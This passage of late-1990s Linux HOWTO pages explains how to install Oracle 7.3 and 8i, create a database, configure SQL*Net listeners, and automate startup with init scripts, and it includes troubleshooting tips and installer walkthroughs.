$ chmod u+s $ORACLE_HOME/bin/oracle

Oracle tools require the messages to be in the $ORACLE_HOME/tool_name/mesg directory. So, move the msb files from the msg_ship directories to the mesg directories.

$ mv $ORACLE_HOME/plsql/mesg/mesg_ship/* $ORACLE_HOME/plsql/mesg/.
$ mv $ORACLE_HOME/rdbms/mesg/mesg_ship/* $ORACLE_HOME/rdbms/mesg/.
$ mv $ORACLE_HOME/svrmgr/mesg/mesg_ship/* $ORACLE_HOME/svrmgr/mesg/.
Create the following directories if they do not exist:
$ mkdir $ORACLE_HOME/rdbms/log
$ mkdir $ORACLE_HOME/rdbms/audit
$ mkdir $ORACLE_HOME/network/log

Things you can remove

The following directories can safely be removed:

  • $ORACLE_HOME/guicommon2/
  • $ORACLE_HOME/ctx/
  • $ORACLE_HOME/md/
  • $ORACLE_HOME/mlx/
  • $ORACLE_HOME/precomp/
  • $ORACLE_HOME/slax/


Oracle Database HOWTO: Creating a Database

 Next Previous Contents

3. Creating a Database

Now the Oracle server is installed we need to create a database to test the installation.

If you are using Oracle 7.2.x or earlier, please read the troubleshooting section below.

3.1 Create the Initialisation File

Copy the $ORACLE_HOME/dbs/init.ora to $ORACLE_HOME/dbs/initorcl.ora:

$ cd $ORACLE_HOME/dbs
$ cp init.ora initorcl.ora
Modify it by adding the following lines:
db_name = orcl
COMPATIBLE=7.3.3.0.0

3.2 Creating the Database Install Script

Create a script file called makedb.sql in the $ORACLE_HOME/dbs directory:

connect internal
startup nomount
set echo on
spool makedb.log
create database orcl
        maxinstances 1
        maxlogfiles  8
        datafile '$ORACLE_HOME/dbs/orcl_syst_01.dbf' size 40M reuse
        logfile
                '$ORACLE_HOME/dbs/orcl_redo_01.dbf' size 1M reuse,
                '$ORACLE_HOME/dbs/orcl_redo_02.dbf' size 1M reuse,
                '$ORACLE_HOME/dbs/orcl_redo_03.dbf' size 1M reuse;
@$ORACLE_HOME/rdbms/admin/catalog.sql
create tablespace rollback
        datafile '$ORACLE_HOME/dbs/orcl_roll_01.dbf' size 8.5M reuse;
create tablespace temp
        datafile '$ORACLE_HOME/dbs/orcl_temp_01.dbf' size 5M reuse
        temporary;
create tablespace users
        datafile '$ORACLE_HOME/dbs/orcl_user_01.dbf' size 10M reuse;
create rollback segment r1 tablespace rollback
        storage ( optimal 5M );
alter rollback segment r1 online;
connect system/manager
@$ORACLE_HOME/rdbms/admin/catdbsyn.sql
connect internal
@$ORACLE_HOME/rdbms/admin/catproc.sql
connect system/manager
@$ORACLE_HOME/sqlplus/admin/pupbld.sql
spool off
exit

3.3 Running the Database Installation Script

Start svrmgrl and run the script:

$ cd $ORACLE_HOME/dbs
$ svrmgrl

Oracle Server Manager Release 2.3.3.0.0 - Production

Copyright (c) Oracle Corporation 1994, 1995. All rights reserved.

Oracle7 Server Release 7.3.3.0.0 - Production Release
PL/SQL Release 2.3.3.0.0 - Production

SVRMGR> connect internal
Connected.
SVRMGR> startup nomount
ORACLE instance started.
Total System Global Area       4313312 bytes
Fixed Size                       41876 bytes
Variable Size                  4140364 bytes
Database Buffers                122880 bytes
Redo Buffers                      8192 bytes
SVRMGR> @makedb
<loads of messages>
SVRMGR> exit
Server Manager complete.

3.4 Starting the Database

Firstly, we need to bring up the database by hand (we will automate this later on). To startup an Oracle database we need to issue the startup command when connected internally:

$ svrmgrl

Oracle Server Manager Release 2.3.3.0.0 - Production

Copyright (c) Oracle Corporation 1994, 1995. All rights reserved.

Oracle7 Server Release 7.3.3.0.0 - Production Release
PL/SQL Release 2.3.3.0.0 - Production

SVRMGR> connect internal
Connected.
SVRMGR> startup
ORACLE instance started.
Total System Global Area       4313316 bytes
Fixed Size                       41876 bytes
Variable Size                  4140368 bytes
Database Buffers                122880 bytes
Redo Buffers                      8192 bytes
Database mounted.
Database opened.
SVRMGR> exit
Server Manager complete.

3.5 Stopping the Database

It is worth mentioning here that restarting a Linux server without shutting down the Oracle database first there is a high risk of corrupting the database.

So, before we issue the Linux shutdown command it is wise to bring down the database:

$ svrmgrl

Oracle Server Manager Release 2.3.3.0.0 - Production

Copyright (c) Oracle Corporation 1994, 1995. All rights reserved.

Oracle7 Server Release 7.3.3.0.0 - Production Release
PL/SQL Release 2.3.3.0.0 - Production

SVRMGR> connect internal
Connected.
SVRMGR> shutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
SVRMGR> exit
Server Manager complete.

3.6 Create a Default User

The database, as created, has a two special users which are automatically created. These are:

Username                Password

SYSTEM                  MANAGER
SYS                     change_on_install

These users are typically used to hold the standard data dictionary information for the database. It is a good idea to change the passwords from the defaults as soon as possible.

This can be achieved by:

sqlplus system/manager

SQL*Plus: Release 3.3.3.0.0 - Production on Sat Feb 21 12:43:33 1998

Copyright (c) Oracle Corporation 1979, 1996.  All rights reserved.

Connected to:
Oracle7 Server Release 7.3.3.0.0 - Production Release

SQL> alter user system identified by <newpassword>;

User altered.

SQL> alter user sys identified by <newpassword>;

User altered.

SQL> exit;
Disconnected from Oracle7 Server Release 7.3.3.0.0 - Production Release
PL/SQL Release 2.3.3.0.0 - Production

Since the user system/manager is similar to using root on a UNIX machine, we need to create a user with less ability to cause damage. (remember to bring up the database before attempting to create a user)

Connect to SQL*Plus and create a user:

$ sqlplus system/manager

SQL*Plus: Release 3.3.3.0.0 - Production on Sat Feb 21 12:43:33 1998

Copyright (c) Oracle Corporation 1979, 1996.  All rights reserved.

Connected to:
Oracle7 Server Release 7.3.3.0.0 - Production Release
PL/SQL Release 2.3.3.0.0 - Production

SQL> create user <user> identified by <psw>
  2  default tablespace users
  3  temporary tablespace temp;

User created.

SQL> grant connect, resource to <user>

Grant succeeded.

SQL> exit
Disconnected from Oracle7 Server Release 7.3.3.0.0 - Production Release
PL/SQL Release 2.3.3.0.0 - Production

Now that you have a new user on the system you can play with the new system. To login to the Oracle database:

$ sqlplus <user>/<password>

If this completes with no error messages then you have a working Oracle database. If you never want to connect to this database from anywhere but this server then the job is complete, enjoy!

If, however, like most people you want to configure the networking software so that you can connect from other machines, keep on reading.


Oracle Database HOWTO: Configuring SQL*Net on the Server

 Next Previous Contents

4. Configuring SQL*Net on the Server

All of these files configure the Oracle networking software (SQL*Net, aka Net8 for Oracle8). These files should all be created on the server in the $ORACLE_HOME/network/admin directory.

4.1 tnsnames.ora

The TNSNAMES.ORA file identifies services available from the machine. On our instance here we will describe all databases that the server has mounted. For each database instance on your server add a section like below:

orcl.world =
  (DESCRIPTION =
    (ADDRESS_LIST =
        (ADDRESS =
          (COMMUNITY = tcp.world)
          (PROTOCOL = TCP)
          (Host = <INSERT HOST NAME OF SERVER HERE> )
          (Port = 1521)
        )
        (ADDRESS =
          (COMMUNITY = tcp.world)
          (PROTOCOL = TCP)
          (Host = <INSERT HOST NAME OF SERVER HERE> )
          (Port = 1526)
        )
    )
    (CONNECT_DATA = (SID = ORCL)
    )
  )

4.2 listener.ora

The listener.ora file contains the descriptions of the services that other machines are allowed to connect to and any configuration that is required for the server listener.

It contains sections for the listener name, listener address, databases served by the listener and configuration parameters.

Here is an example:

# Name of listener and addresses to listen on
LISTENER =
        ( ADDRESS_LIST =
                (ADDRESS =
                        (PROTOCOL=tcp)
                        (HOST=<INSERT HOST>)
                        (PORT=1521)
                        (COMMUNITY=UK_SUP_TCPIP)
                )
                (ADDRESS =
                        (PROTOCOL=ipc)
                        (KEY=700)
                        (COMMUNITY=UK_SUP_TCPIP)
                )
        )

# List of services served by this listener
SID_LIST_LISTENER=
        (SID_LIST=
                (SID_DESC=
                        (SID_NAME=orcl)
                        (ORACLE_HOME=/home/oracle/7.3.3.0.0)
                )
        )

# Start of configuration parameters.
TRACE_LEVEL_LISTENER=OFF
TRACE_FILE_LISTENER = "listener"
LOG_FILE_LISTENER = "listener"
CONNECT_TIMEOUT_LISTENER = 10
STOP_LISTENER = YES
DBA_GROUP = dba

4.3 sqlnet.ora

The sqlnet.ora file contains configuration for the particular node of the network. This is independent of the number of databases or the number of listeners. The most important thing in this file is the Dead Connection Timeout configuration variable.

Dead connection timeout checks every incoming process to a database instance and ensures that the client end of it is still responding. If the client (of whatever type) is not responding then the Oracle server shadow process is killed.

This is very useful if you have many clients accessing a database, especially during a developmental phase when those clients are more likely to be failing to exit cleanly from the Oracle database.

Below is a copy of my own sqlnet.ora file for you to puruse:

TRACE_LEVEL_CLIENT = OFF
sqlnet.expire_time = 30         # The number of seconds between client checks.
names.default_domain = world
name.default_zone = world

4.4 Starting and Stopping the Listeners

Now that the configuration of the listeners and SQL*Net is complete we can attempt to connect to the database using the networking software. (Before we were using direct links to the database, whereas here we are simulating a connection from a remote client machine).

To start the listener using the above configuration:

$ lsnrctl

LSNRCTL for SCO System V/386: Version 2.3.3.0.0 - Production on 23-FEB-98 20:38:25

Copyright (c) Oracle Corporation 1994.  All rights reserved.

Welcome to LSNRCTL, type "help" for information.

LSNRCTL> start
Starting /home/oracle/7.3.3.0.0/bin/tnslsnr: please wait...

TNSLSNR for SCO System V/386: Version 2.3.3.0.0 - Production
System parameter file is /home/oracle/7.3.3.0.0/network/admin/listener.ora
Log messages written to /home/oracle/7.3.3.0.0/network/log/listener.log
Listening on: (ADDRESS=(PROTOCOL=tcp)(DEV=6)(HOST=192.168.1.1)(PORT=1521))
Listening on: (ADDRESS=(PROTOCOL=ipc)(DEV=10)(KEY=700))

Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=magic.com)(PORT=1521)(COMMUNITY=UK_SUP_TCPIP))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for SCO System V/386: Version 2.3.3.0.0 - Production
Start Date                23-FEB-98 20:38:50
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  OFF
SNMP                      ON
Listener Parameter File   /home/oracle/7.3.3.0.0/network/admin/listener.ora
Listener Log File         /home/oracle/7.3.3.0.0/network/log/listener.log
Services Summary...
  orcl          has 1 service handler(s)
The command completed successfully
LSNRCTL> exit

To stop the listeners:

$ lsnrctl

LSNRCTL for SCO System V/386: Version 2.3.3.0.0 - Production on 23-FEB-98 20:43:20

Copyright (c) Oracle Corporation 1994.  All rights reserved.

Welcome to LSNRCTL, type "help" for information.

LSNRCTL> stop
Connecting to (ADDRESS=(PROTOCOL=tcp)(HOST=magic.com)(PORT=1521)(COMMUNITY=UK_SUP_TCPIP))
The command completed successfully
LSNRCTL> exit

If you have a DNS setup which doesn't return the IP address for the hostname specified then starting and stopping the listener can take some time (2-3 mins. dependant on the DNS timeout variable). If this is the case, don't worry, be patient.


Oracle Database HOWTO: Client Configuration

 Next Previous Contents

5. Client Configuration

5.1 Windows Clients

SQL*Net configuration on the PC using newer versions of the Oracle Client Software is very easy. The best (and easiest) way of achiving a fully working client installation is to use the SQL*Net Easy Configuration tool supplied by Oracle.

This toolhas a wizard type interface to take you through the installation of the tnsnames.ora and sqlnet.ora files.

Select "Add Database Alias" and enter a name for the alias when prompted. This alias is the name you will refer to the database instance as, and as such should be the same as the instance name (orcl in this case).

Select TCP/IP as the protocol, and when prompted the hostname of the machine hosting the database and the instance name of the database.

That's it.

However, if you do not have the SQL*Net Easy Configuration Tool then don't worry. You can simply create the tnsnames.ora and the sqlnet.ora files in the $ORACLE_HOME/network/admin directory on the client exactly as they are on the server. This will provide an alias the same as on the server (always a good idea anyway).

5.2 Unix Clients

UNIX clients are not very different that windows clients. If you have the Network Manager from Oracle then user that in the same way as above, if not then you can, again, just use the same configuration files as the server in the $ORACLE_HOME/network/admin directory.


Oracle Database HOWTO: Automatic Startup and Shutdown

 Next Previous Contents

6. Automatic Startup and Shutdown

6.1 dbstart & dbstop

The automatic startup and shutdown of the Oracle database can be achieved (in 7.3.3.0.0) with the files dbstart and dbshut both provided by Oracle. These files rely on the existance of the file /etc/oratab to work (although by altering the dbshut and dbstart files this can be moved).

The format of the /etc/oratab file is as follows:

SID:ORACLE_HOME:AUTO

An example:

orcl:/home/oracle/7.3.3.0.0:Y
leaveup:/home/oracle/7.3.2.1.0:N

6.2 init.d & rc.d

To start and stop the database when the machine comes up and goes down by modifying the startup routines for the Linux machine. This is quite easy, although I should point out here that this may change depending on which flavour of Linux (slackware, debian, redhat, etc). I will show examples which work for Redhat Linux 5.0. To modify these for your own flavour of Linux, please see your Linux documentation sets. (Although it should hold true for any Sys V type UNIX).

Firstly, we need to create the script which will run dbshut and dbstart in the /etc/rc.d/init.d directory. Create the following file as /etc/rc.d/init.d/oracle:

#!/bin/sh
#
# /etc/rc.d/init.d/oracle
# Description: Starts and stops the Oracle database and listeners
# See how we were called.
case "$1" in
  start)
        echo -n "Starting Oracle Databases: "
        echo "----------------------------------------------------" >> /var/log/oracle
        date +"! %T %a %D : Starting Oracle Databases as part of system up." >> /var/log/oracle
        echo "----------------------------------------------------" >> /var/log/oracle
        su - oracle -c dbstart >> /var/log/oracle
        echo "Done."
        echo -n "Starting Oracle Listeners: "
        su - oracle -c "lsnrctl start" >> /var/log/oracle
        echo "Done."
        echo ""
        echo "----------------------------------------------------" >> /var/log/oracle
        date +"! %T %a %D : Finished." >> /var/log/oracle
        echo "----------------------------------------------------" >> /var/log/oracle
        touch /var/lock/subsys/oracle
        ;;
  stop)
        echo -n "Shutting Down Oracle Listeners: "
        echo "----------------------------------------------------" >> /var/log/oracle
        date +"! %T %a %D : Shutting Down Oracle Databases as part of system down." >> /var/log/oracle
        echo "----------------------------------------------------" >> /var/log/oracle
        su - oracle -c "lsnrctl stop" >> /var/log/oracle
        echo "Done."
        rm -f /var/lock/subsys/oracle
        echo -n "Shutting Down Oracle Databases: "
        su - oracle -c dbshut >> /var/log/oracle
        echo "Done."
        echo ""
        echo "----------------------------------------------------" >> /var/log/oracle
        date +"! %T %a %D : Finished." >> /var/log/oracle
        echo "----------------------------------------------------" >> /var/log/oracle
        ;;
  restart)
        echo -n "Restarting Oracle Databases: "
        echo "----------------------------------------------------" >> /var/log/oracle
        date +"! %T %a %D : Restarting Oracle Databases as part of system up." >> /var/log/oracle
        echo "----------------------------------------------------" >> /var/log/oracle
        su - oracle -c dbstop >> /var/log/oracle
        su - oracle -c dbstart >> /var/log/oracle
        echo "Done."
        echo -n "Restarting Oracle Listeners: "
        su - oracle -c "lsnrctl stop" >> /var/log/oracle
        su - oracle -c "lsnrctl start" >> /var/log/oracle
        echo "Done."
        echo ""
        echo "----------------------------------------------------" >> /var/log/oracle
        date +"! %T %a %D : Finished." >> /var/log/oracle
        echo "----------------------------------------------------" >> /var/log/oracle
        touch /var/lock/subsys/oracle
        ;;
  *)
        echo "Usage: oracle {start|stop|restart}"
        exit 1
esac

It is worth checking that this file actually correctly stops and starts the databases for your system. Check the log file, /var/log/oracle for error messages.

Once this script is working we need to create start and kill symbolic links in the appropriate runlevel directories /etc/rc.d/rcX.d.

The following commands will ensure that the databases will come up in runlevels 2,3 and 4:

$ ln -s ../init.d/oracle /etc/rc.d/rc2.d/S99oracle
$ ln -s ../init.d/oracle /etc/rc.d/rc3.d/S99oracle
$ ln -s ../init.d/oracle /etc/rc.d/rc4.d/S99oracle

To stop the databases on reboot or restart we need the following links:

$ ln -s ../init.d/oracle /etc/rc.d/rc0.d/K01oracle          # Halting
$ ln -s ../init.d/oracle /etc/rc.d/rc6.d/K01oracle          # Rebooting


Oracle Database HOWTO: Other Bits

 Next Previous Contents

7. Other Bits

7.1 Intelligent Agent

If you have a need for the Oracle Intelligent Agent, I found that you can run it without any configuration changes. To start the IA try:

$ lsnrctl dbsnmp_start

To stop the IA try:

$ lsnrctl dbsnmp_stop

There do not appear to be any messages indicating a sucessful or otherwise start or stop of the intelligent agent. However, the IA responded to Enterprise manager on the client side so I can only assume that it is working.


Oracle Database HOWTO: Troubleshooting

 Next Previous Contents

8. Troubleshooting

See below for various troubleshooting hints.

8.1 I cannot create a database when using Oracle 7.2.x.

The files shipped by Oracle in the 7.2.x product are incorrect in assuming that you want to setup a parallel server configuration. The shipped init.ora file has the following line in it:

# define parallel server (multi-instance) parameters
ifile = ora_system:initps.ora
To fix the problem simply comment it out:
# define parallel server (multi-instance) parameters
#ifile = ora_system:initps.ora

8.2 I'm getting segmentation faults in svrmgrl under version 7.3.4.x.

I've had this problem reported to me by a number of people. Gerald Weber gerald_weber@master.co.at solved it:

Hi Paul,

first of all thanks for your help,but none of the possible problems you are
thinking about were responsible for my problem.
The problem is the iBCS-emulator itself.
It seems that Oracle performs an sysconf-calls which isn't supported in the
current version of iBCS.
Look at the trace :

<7>[22]615 sysconf(34)
<7>iBCS2 unsupported sysconf call 34
<7>[22]615 sysconf error return linux=-22 -> ibcs=22 <Invalid argument>
<7>[24]615 sysconf(34)
<7>iBCS2 unsupported sysconf call 34
<7>[24]615 sysconf error return linux=-22 -> ibcs=22 <Invalid argument>

Solution:  patching the iBCS-source.apply the following diff-pach :

--- sysconf.c   Sun Apr 19 19:19:15 1998
+++ sysconf.c.ori       Sun Apr 19 19:28:45 1998
@@ -60,7 +60,6 @@
 #define _SC_JOB_CONTROL        5
 #define _SC_SAVED_IDS  6
 #define _SC_VERSION    7
-#define _SC_HACK_FOR_ORACLE 34

 #define _SC_PAGESIZE   11

@@ -97,11 +96,6 @@
                case _SC_SAVED_IDS: {
                        return (1);
                }
-
-               case _SC_HACK_FOR_ORACLE: {
-                 return (1);
-               }
-

                case _SC_PAGESIZE: {
                  return PAGE_SIZE;


Oracle Database HOWTO: Credits

 Next Previous Contents

9. Credits

This document was based on a document written by Bob Withers, bwit@pobox.com. Additional information taken from documents written by Georg Rehfeld, rehfeld@wmd.de and David Mansfield, david@claremont.com.

Additional proof reading done by Bob Withers, Mark Watling, mwatling@mjw-ltd.demon.co.uk, Peter Sodhi, petersodhi@unn.unisys.com and Greg Hankins, greg.hankins@cc.gatech.edu.

My thanks go to the tremendous support from all the people involved in this document and the research that has gone into it. Particular thanks to Bob Withers and Mark Watling for the additional comments and help they have provided.


Oracle for Linux Installation HOWTO

Stephen Darlington, <stephen@zx81.org.uk>

$Revision: 1.14 $, $Date: 2000/06/19 21:07:43 $

With this HOWTO, and a little luck, you will be able to get "Oracle 8i Enterprise Edition for Linux" installed, create a database and connect to it from a remote machine. The main focus of this guide is RedHat Linux 6.0, although it should work more-or-less unchanged for any other recent distribution.

1. Introduction

  • 1.1 What's in here?
  • 1.2 Who is this HOWTO for?
  • 1.3 New versions of this document
  • 1.4 Disclaimer
  • 1.5 Credits and Thanks
  • 1.6 Licence

2. Starting off

  • 2.1 Overview
  • 2.2 Prerequisites
  • 2.3 Linux setup
  • 2.4 Starting off questions and answers

3. The installer

  • 3.1 How?
  • 3.2 What do I tell the installation program?
  • 3.3 Installing the patch
  • 3.4 Setting up your environment
  • 3.5 Installations questions and answers

4. Creating a database

  • 4.1 Overview
  • 4.2 Step-by-step guide
  • 4.3 Questions and answers

5. Configuration

  • 5.1 Overview
  • 5.2 Connecting as another user
  • 5.3 Connecting from another machine
  • 5.4 Connecting to another machine
  • 5.5 Questions and answers

6. Final Words

  • 6.1 Useful Software
  • 6.2 Useful Books
  • 6.3 Useful Internet resources


Oracle for Linux Installation HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 What's in here?

Linux is well known for being difficult and, generally, user hostile. Being a bit of a Unix fan I'm not sure whether I agree with that or not.

Oracle is similar I guess. Initially it's difficult to get to grips with, but it's difficult to work with any other RDBMS when you're used to it.

Combine the two, remember that 8i is only the second production release, and you realise that this isn't going to be straight-forward, even if you're familiar with both.

I am, but I had problems. Many problems were my own stupidity or hubris, but I document them for completeness.

1.2 Who is this HOWTO for?

First, this document is for people who want to install Oracle 8i version 8.1.5 on Linux. It does not cover any earlier versions, although it should work with similar later versions such as 8.1.6.

If you want to install 8.0, I recommend you try Linux Journals guide, and if you want to install any of the previous versions you're going to have to use the SCO version and follow Paul Haigh's Oracle Database HOWTO.

If you're trying to install the 'right' version, what level of background knowledge will you need?

Perhaps the easiest way is if I explain a little of my background, clearly if yours is similar we're going to be on the same wave-length. I've used a lot of Unix and Oracle over the last few years. At home I've been running Linux since 1994 and I've been using Solaris and HP-UX on-and-off since 1992. I first came across Oracle in 1996 and have worked with both versions 7 and 8. I'm mainly a developer, but I have done DBA and sysadmin-type work.

In summary, I can find my way around a Unix box and I know much of the Oracle terminology. You'll need both to brave the rest of this document. But don't worry if you have a different background, follow this guide closely and keep asking questions. The Linux community are a helpful bunch, just don't expect an answer if you haven't at least made an effort to solve the problem yourself.

1.3 New versions of this document

Things move quickly in the world of Linux and Oracle, meaning that this document can quickly get out of date. If this document is more than a month or two old, I suggest you take a look at my web site for an update.

1.4 Disclaimer

You get what you pay for. I offer no warranty of any kind, implied or otherwise. I'll help you where I can but legally you're on your own.

1.5 Credits and Thanks

This HOWTO has been written by Stephen Darlington. It couldn't have been created without the constant stream of questions and answers on Oracle Technet and the Usenet news-groups. So thanks to the people that keep posting and sorry that I can't credit you all individually!

Thanks to the following people, in no particular order, for their contributions to this document: Ton Haver, Guy Cole, Iain Frerichs, Albert Braun, Steve Morando, Krill Kokoshka, Brain Slesinsky, Galen G Burk and Bill Gathen.

I welcome any constructive feedback on this HOWTO and any general Linux or Oracle issues. Email me at stephen@zx81.org.uk.

1.6 Licence

This document is copyright 2000 Stephen Darlington. You may use, disseminate and reproduce it freely, provided you:

  • Do not omit or alter this copyright notice.
  • Do not omit or alter the version number and date.
  • Do not omit or alter the document's pointer to the current WWW version.
  • Clearly mark any condensed, altered or versions as such.

These restrictions are intended to protect potential readers from stale or mangled versions. If you think you have a good case for an exception, ask me.

(This copyright notice has been lifted from Eric Raymond's Distribution HOWTO.)


Oracle for Linux Installation HOWTO: Starting off

 Next Previous Contents

2. Starting off

2.1 Overview

In this section, we'll set up Linux so that you're in a position to get Oracle 8i from the CD that they sent you into your hard-disk.

The Oracle installation process begins when you've built your PC, installed Linux, configured it and connected it to your network.

2.2 Prerequisites

Hardware

I think that the most important part of the prerequisites is not to underestimate them. Oracle is a very big and complex application and you won't get the best out of it if you skimp too much on the hardware.

My biggest mistake was to assume that Oracle were joking when they said that you need 128Mb of RAM. I've installed Oracle a couple of times on Sun servers with that much, why would I need more on a CISC machine?

Believe Oracle not my gut. My machine with 32Mb of Ram ground on for less than half an hour before I realised that it was hopeless.

I was trying to use the bare minimum of hardware, and that's generally a bad idea. If you can't afford the hardware you certainly won't be able to afford the licences!

Things to look for on a production server are many disks, possibly RAIDed, and fast CPU's. Database access is relatively easy to break down into smaller parallel phases so having a number of processors really does help.

On the other hand, any machine that can run Linux and that has enough memory should be in with a chance. My other machine, the one I used for the rest of this document, is fine as a development machine. It is a Celeron 466Mhz with 128Mb of memory, an 8Gb hard disk, an Intel graphics card and a DM9102 network card.

2.3 Linux setup

Choice of distribution

Oracle seem to have done most of their development on RedHat Linux 6.0. For a fuss-free installation, do the same. I've heard horror stories about trying to get it installed on other distributions.

However, anything like RedHat should also do the trick. A recent version of Mandrake or SuSE should be fine (SuSE, in fact, are fairly active in supporting Oracle), and newer versions of RH pose no problems either.

Distribution Setup

Now that you've decided on which RedHat-like distribution you're going to use, you'll need to work out which options to set and which of the vast number of packages need to be installed to make Oracle work.

Firstly you need two to three times the amount of memory you have for your swap space. (You'll need around 200Mb of memory, real or virtual, just to run the installer!) Note that contrary to popular opinion, Linux swap partitions can be larger than 128Mb.

The arrangements of your other partitions can also be important. Make sure that the Oracle software is on a different partition to your operating system, and make sure that the Oracle datafiles are on yet another partition. The idea here is to make sure that your datafiles do not get fragmented. (In a live environment, you're likely to have a number of disk with Oracle spread across them. There are a number of good books that you consult for more information on this.)

As for the software, I took the easy option and installed just about everything. You certainly need all the 'base' packages, X Windows (the installation routine is a Java GUI) and the development tools regardless of whether you intend doing any coding or not. Compared to the size of Oracle and your databases a Linux distribution is tiny, probably less than a gigabyte. It's worth installing it all for an easy life!

Kernel parameters

The documentation suggests that you make changes to the Linux kernel so you can get more shared memory. Since this is so difficult in Linux (unlike most commercial Unix's you have to recompile the kernel), the approach I took was to go ahead with the installation anyway. The default RedHat Linux settings worked, although you may have to change them for a larger development or production system.

Note that some people have had to recompile the kernel to get Oracle to work at all. I guess it must depend on the other software that you're running on the same machine.

Follow the instructions in the Oracle documentation (on the installation CD in HTML format) and the Linux Kernel HOWTO to build your new kernel.

Users and groups

Using LinuxConf (or whatever other method you feel comfortable with), you need to add a new group called "dba" and a new user called "oracle", which should belong to your newly created "dba" group.

You can make any other user a DBA by putting them in the DBA group. If you have several DBA's this is probably a good idea for auditing purposes.

Installing the right Java Virtual Machine

If you check the official documentation, you'll find that Oracle recommend the Blackdown Java Runtime Environment version 1.1.6v5. That's what they mean. Don't think 'newer versions will be less buggy' as the installer probably won't work. And don't think, 'I'll be developing software so I'll just get the JDK,' as that won't work either.

There is one caveat to using this version of the JRE: the Oracle installer seems to be hard-coded to expect the JRE executable to be at /usr/local/jre/bin/jre. While this is inconvenient, it does not mean that you have to install it there.

I performed the following steps to get a working copy of the JRE:

  1. Download the Java Runtime Environment from the Blackdown website
  2. Move to where you want to install the JRE:
    cd /usr/local
  3. Uncompress the archive:
    bzip2 -d -c jre-1.1.6-v5-glibc-x86.tar.bz2 | tar xvf -
  4. Create a symbolic link between where Oracle thinks it is and where it actually is:
    ln -s jre116_v5 jre

2.4 Starting off questions and answers

Do I really need 128Mb RAM?

I would recommend that you do use 128Mb of RAM or more. I think it would be difficult to get any serious work done with less.

However, if you disable the Java option and set all the shared memory settings to be relatively small, there's no reason why it shouldn't work. I've heard success stories with 64Mb. You're probably not going to get away with 32Mb, though.

There is a caveat. You may only need half of what Oracle recommends to run the thing, but to install it their number starts to make sense. I've heard reports of the installer using 150Mb of memory and I've seen it well over 120Mb myself. If you have 64Mb or less of memory, make sure you have lots of swap space and patience.

An alternative if you absolutely can't add more memory: install Oracle on another, bigger machine and copy across the $ORACLE_HOME directory. You'll need to make sure that you have all the same users and groups (preferably with the same numeric codes) and take special care with SUID executables like $ORACLE_HOME/bin/oracle/.

Does it work with RedHat 6.1 or above?

I'm still running 6.0 myself, so all I can say is that a number of people have claimed success with this configuration.

At the time of writing, Oracle 8i has been certified with RedHat 6.0 and "Certification for other distributions is currently in progress" (Oracle 8i Patch FAQ).

Does it work with Debian/SuSE/Mandrake/some other distribution?

Oracle specify the Linux kernel version 2.2 or above and GLIBC version 2.1 with any window manager. In theory, any distribution that meets these requirements should work.

In practice, Oracle may not support it and you may have more problems trying to complete the installation. Unless you have a very good reason to do otherwise I suggest you stick to RedHat 6.0 with all the patches you can get hold of.

Does it work with development kernels?

There's no obvious reason why it shouldn't work -- I used 2.3.19 for a while because it supported my network card and the stable kernel at the time didn't -- but unless there's a pressing need it's certainly safest to stay well clear. I switched back to the stable series as soon as the driver was included.

Where do I get Oracle from?

Firstly, if you're brave, have a very fast Internet connection or inexhaustible patience (and unmetered access) you can download it from Oracle Technet. Beware: it's nearly 200Mb, and 8.1.6 is even bigger.

A better option is to get the CD. Oracle sometimes offer to send you a free development CD when you join Technet. It's certainly worth spending some time looking round their web site for that. Alternatively, you can buy them from the Oracle Store for around $40. It includes lots of other software too and comes on 15 discs.


Oracle for Linux Installation HOWTO: The installer

 Next Previous Contents

3. The installer

3.1 How?

Generally, following the documentation is a good idea. It's not that bad and you'll get much better support from Oracle if you have. (I ended up breaking things -- and knowing it would -- by following the documentation for Oracle Applications. It was the only way to get decent support.)

This document is going to give an overview, but you should still have their documentation available.

3.2 What do I tell the installation program?

As part of the installation Oracle will ask a number of questions. Generally they're not too difficult but let's see what I entered and why.

  1. Many people make the mistake of following Oracle's documentation and, therefore, fail at the first hurdle. Don't execute runInstaller as it almost always fails. Instead move to install/linux on the CD and run runIns.sh while logged in as 'oracle'.
  2. It should show a title screen. Click 'Next.'
  3. It should ask you to enter the source directory of the installation files ('jar' file) and your Oracle installation directory. You should be able to leave the former alone. The Oracle home directory is where you want to install the software. According to the installation documentation is should be somewhere on /u01, but I ignored that and put it in /home/oracle. Oracles advice, in this respect, is usually worth following. Click 'Next' when you've entered the details.
  4. Now it should ask you for the DBA group. This is the Unix group you created in the last section and is probably 'dba'. Enter the details and click 'Next.'
  5. This time it wants you to log in as 'root' and run /tmp/OraInstall/orainstRoot.sh. Do as it says. (You may have to run pdksh or bash in the 'Bourne compatibility mode' to get it to complete successfully.) When you're done click 'Retry.'
  6. You're now given the option of what to install. Your best bet here is 'Oracle Enterprise Edition,' as this includes just about everything (table 3.1 in the Oracle documentation tells you exactly what it installs). Make sure the right radio button is selected and click 'Next.'
  7. It should now allow you to choose what you install with much finer granularity. Unless you're particularly constrained by disk space or know exactly what you need, I'd recommend leaving it exactly as it is and clicking 'Next.' The Universal Installer won't let you make any silly choices so don't worry too much if you unselect something. You can always add it back in later.
  8. For any products that you've asked it to install, the installer will allow you to change where it puts them. Again, only if you have a good reason to should you change it. Click 'Next' when you're done.
  9. It now goes away and installs all the pieces of software you asked it to. This will probably take quite a while and will use far more memory than is reasonable.
  10. It should ask you if you want to create a database. Select 'no'. There are two reasons for this: it often doesn't work and, even when it does, it's very slow (it seems to fire up another JVM, leaving X, the Oracle back-end and two virtual machines in memory; not good with 128Mb of memory).
  11. The installer should now ask you about the network protocols that you want Oracle to support. The boxes all came up blank for me. I don't know what's supposed to be in there, but I clicked 'Next' and found that everything worked.
  12. All the hard stuff is complete now. All the products you want should be installed and are ready to go. Congratulations.

3.3 Installing the patch

Unfortunately, the CD that Oracle sent you was probably version 8.1.5.0.0. As with almost all first releases there are problems with that version (problems include empty files, so they're quite serious) and a patch, to version 8.1.5.0.2 is essential. You'll certainly need it to progress to the "Configuration" section of this HOWTO. The patch described here is a cumulative patch, i.e., it includes all the files required to move from version 8.1.5.0.0 to 8.1.5.0.2.

The file you need is on the Oracle web site and is relatively easy to install.

